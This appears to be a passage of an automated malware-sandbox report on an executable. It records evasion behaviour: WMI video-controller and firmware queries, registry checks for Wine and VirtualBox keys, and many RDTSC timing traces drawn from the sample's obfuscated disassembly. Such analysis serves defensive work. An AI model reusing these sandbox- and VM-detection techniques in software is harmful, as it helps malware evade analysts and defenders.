Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 879448 second address: 878C94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b jmp 00007F588123DB96h 0x00000010 pop ebx 0x00000011 nop 0x00000012 jmp 00007F588123DB8Fh 0x00000017 push dword ptr [ebp+122D0E09h] 0x0000001d jc 00007F588123DB8Eh 0x00000023 mov dword ptr [ebp+122D1E79h], ecx 0x00000029 call dword ptr [ebp+122D1F32h] 0x0000002f pushad 0x00000030 pushad 0x00000031 mov edx, dword ptr [ebp+122D3892h] 0x00000037 jmp 00007F588123DB98h 0x0000003c popad 0x0000003d xor eax, eax 0x0000003f mov dword ptr [ebp+122D1C8Bh], eax 0x00000045 mov edx, dword ptr [esp+28h] 0x00000049 mov dword ptr [ebp+122D1C8Bh], esi 0x0000004f mov dword ptr [ebp+122D1C8Bh], edi 0x00000055 mov dword ptr [ebp+122D3B62h], eax 0x0000005b jng 00007F588123DBA6h 0x00000061 mov esi, 0000003Ch 0x00000066 mov dword ptr [ebp+122D1C8Bh], esi 0x0000006c mov dword ptr [ebp+122D1C8Bh], ecx 0x00000072 add esi, dword ptr [esp+24h] 0x00000076 jmp 00007F588123DB98h 0x0000007b lodsw 0x0000007d pushad 0x0000007e push edi 0x0000007f jmp 00007F588123DB91h 0x00000084 pop ebx 0x00000085 popad 0x00000086 cld 0x00000087 add eax, dword ptr [esp+24h] 0x0000008b pushad 0x0000008c jmp 00007F588123DB90h 0x00000091 popad 0x00000092 mov ebx, dword ptr [esp+24h] 0x00000096 mov dword ptr [ebp+122D1C99h], edx 0x0000009c nop 0x0000009d push eax 0x0000009e push edx 0x0000009f jmp 00007F588123DB8Ch 0x000000a4 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F5E61 second address: 9F5E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F5E67 second address: 9F5E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F5E6B second address: 9F5E75 instructions: 0x00000000 rdtsc 0x00000002 js 00007F588136DCB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F5053 second address: 9F5064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F588123DB8Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F5064 second address: 9F5087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F588136DCB6h 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F588136DCB6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007F588136DCBBh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F55C7 second address: 9F55D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F5713 second address: 9F572C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jno 00007F588136DCC2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F572C second address: 9F574B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB99h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F574B second address: 9F574F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F8462 second address: 878C94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F588123DB86h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 26E19791h 0x00000015 push dword ptr [ebp+122D0E09h] 0x0000001b mov dword ptr [ebp+122D1E68h], ebx 0x00000021 call dword ptr [ebp+122D1F32h] 0x00000027 pushad 0x00000028 pushad 0x00000029 mov edx, dword ptr [ebp+122D3892h] 0x0000002f jmp 00007F588123DB98h 0x00000034 popad 0x00000035 xor eax, eax 0x00000037 mov dword ptr [ebp+122D1C8Bh], eax 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 mov dword ptr [ebp+122D1C8Bh], esi 0x00000047 mov dword ptr [ebp+122D1C8Bh], edi 0x0000004d mov dword ptr [ebp+122D3B62h], eax 0x00000053 jng 00007F588123DBA6h 0x00000059 mov esi, 0000003Ch 0x0000005e mov dword ptr [ebp+122D1C8Bh], esi 0x00000064 mov dword ptr [ebp+122D1C8Bh], ecx 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e jmp 00007F588123DB98h 0x00000073 lodsw 0x00000075 pushad 0x00000076 push edi 0x00000077 jmp 00007F588123DB91h 0x0000007c pop ebx 0x0000007d popad 0x0000007e cld 0x0000007f add eax, dword ptr [esp+24h] 0x00000083 pushad 0x00000084 jmp 00007F588123DB90h 0x00000089 popad 0x0000008a mov ebx, dword ptr [esp+24h] 0x0000008e mov dword ptr [ebp+122D1C99h], edx 0x00000094 nop 0x00000095 push eax 0x00000096 push edx 0x00000097 jmp 00007F588123DB8Ch 0x0000009c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F84E3 second address: 9F859B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F588136DCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 682B83FAh 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F588136DCB8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push 00000003h 0x0000002e jmp 00007F588136DCC8h 0x00000033 push 00000000h 0x00000035 mov edx, dword ptr [ebp+122D3802h] 0x0000003b push 00000003h 0x0000003d mov edx, dword ptr [ebp+122D387Eh] 0x00000043 push 82D34C75h 0x00000048 jmp 00007F588136DCC9h 0x0000004d add dword ptr [esp], 3D2CB38Bh 0x00000054 sub dword ptr [ebp+122D2AD3h], esi 0x0000005a lea ebx, dword ptr [ebp+12453379h] 0x00000060 mov dword ptr [ebp+122D2AD3h], esi 0x00000066 jmp 00007F588136DCBEh 0x0000006b xchg eax, ebx 0x0000006c jmp 00007F588136DCC4h 0x00000071 push eax 0x00000072 push edi 0x00000073 push eax 0x00000074 push edx 0x00000075 push ecx 0x00000076 pop ecx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F859B second address: 9F859F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F85F1 second address: 9F8660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jng 00007F588136DCC2h 0x0000000d nop 0x0000000e mov edi, dword ptr [ebp+122D389Ah] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F588136DCB8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov ecx, dword ptr [ebp+122D38AAh] 0x00000036 push 28E1632Ah 0x0000003b pushad 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f jmp 00007F588136DCC9h 0x00000044 popad 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F8660 second address: 9F86B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F588123DB86h 0x0000000a popad 0x0000000b popad 0x0000000c xor dword ptr [esp], 28E163AAh 0x00000013 jmp 00007F588123DB98h 0x00000018 push 00000003h 0x0000001a jg 00007F588123DB8Ch 0x00000020 push 00000000h 0x00000022 push 00000003h 0x00000024 adc si, 4BD3h 0x00000029 mov dword ptr [ebp+122D344Dh], esi 0x0000002f push 60959FAFh 0x00000034 push eax 0x00000035 push edx 0x00000036 push esi 0x00000037 push edi 0x00000038 pop edi 0x00000039 pop esi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F86B3 second address: 9F86BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F588136DCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F86BD second address: 9F870F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 5F6A6051h 0x0000000f push edi 0x00000010 jmp 00007F588123DB96h 0x00000015 pop ecx 0x00000016 add dword ptr [ebp+122D1CD4h], edi 0x0000001c lea ebx, dword ptr [ebp+12453382h] 0x00000022 movzx edi, ax 0x00000025 xchg eax, ebx 0x00000026 jmp 00007F588123DB8Ah 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F588123DB8Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F870F second address: 9F8715 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F877A second address: 9F8780 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F8780 second address: 9F8792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F588136DCBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F8792 second address: 9F87B7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F588123DB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jmp 00007F588123DB94h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F87B7 second address: 9F87E7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F588136DCB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D2C53h], esi 0x00000011 push 00000000h 0x00000013 or dword ptr [ebp+122D1C8Bh], edx 0x00000019 mov dword ptr [ebp+122D3788h], ebx 0x0000001f push 907A5BBEh 0x00000024 push eax 0x00000025 push edx 0x00000026 jg 00007F588136DCB8h 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F87E7 second address: 9F87ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F87ED second address: 9F87F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F87F1 second address: 9F886C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 6F85A4C2h 0x0000000f mov esi, dword ptr [ebp+122D39AAh] 0x00000015 mov dword ptr [ebp+122D1CD4h], ebx 0x0000001b push 00000003h 0x0000001d clc 0x0000001e je 00007F588123DB8Ch 0x00000024 mov esi, dword ptr [ebp+122D1EC1h] 0x0000002a push 00000000h 0x0000002c movsx edx, di 0x0000002f pushad 0x00000030 xor dword ptr [ebp+122D1C93h], eax 0x00000036 popad 0x00000037 push 00000003h 0x00000039 push 7AC1796Ch 0x0000003e jmp 00007F588123DB8Ch 0x00000043 add dword ptr [esp], 453E8694h 0x0000004a lea ebx, dword ptr [ebp+1245338Dh] 0x00000050 mov dx, 0911h 0x00000054 xchg eax, ebx 0x00000055 push ecx 0x00000056 jmp 00007F588123DB92h 0x0000005b pop ecx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jnp 00007F588123DB88h 0x00000065 push edx 0x00000066 pop edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9F886C second address: 9F8872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A19339 second address: A1933D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1933D second address: A19343 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A19343 second address: A1934C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1934C second address: A1936C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jmp 00007F588136DCC8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1727A second address: A17284 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F588123DB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A17284 second address: A172A1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F588136DCC1h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jnp 00007F588136DCB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A172A1 second address: A172DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB94h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push ebx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F588123DB92h 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A17549 second address: A1754D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A176CC second address: A176D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F588123DB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A17836 second address: A17841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9E834B second address: 9E8364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9E8364 second address: 9E8368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A17DB6 second address: A17DE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jmp 00007F588123DB98h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F588123DB8Eh 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A17DE6 second address: A17DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A0E59B second address: A0E5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A18504 second address: A1850D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1850D second address: A18513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A18513 second address: A1851B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A18DA7 second address: A18DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F588123DB8Eh 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A18DBE second address: A18DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A18DC4 second address: A18DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1C75E second address: A1C764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1C8C4 second address: A1C8C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1AEDB second address: A1AEE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1C962 second address: A1C993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007F588123DB9Dh 0x00000011 jmp 00007F588123DB97h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1C993 second address: A1C998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A1C998 second address: A1C9EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F588123DB86h 0x00000009 jmp 00007F588123DB8Fh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F588123DB99h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push ebx 0x0000001e jno 00007F588123DB86h 0x00000024 pop ebx 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jng 00007F588123DB88h 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9EF00D second address: 9EF013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9EF013 second address: 9EF01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: 9EF01A second address: 9EF052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jo 00007F588136DCB6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 jmp 00007F588136DCC3h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F588136DCC0h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26FD6 second address: A26FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F588123DB96h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26FF0 second address: A26FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A26FF6 second address: A2701D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F588123DB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F588123DB8Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A2701D second address: A27021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A27021 second address: A27025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	RDTSC instruction interceptor: First address: A267B1 second address: A267C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F588136DCB6h 0x0000000a push ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
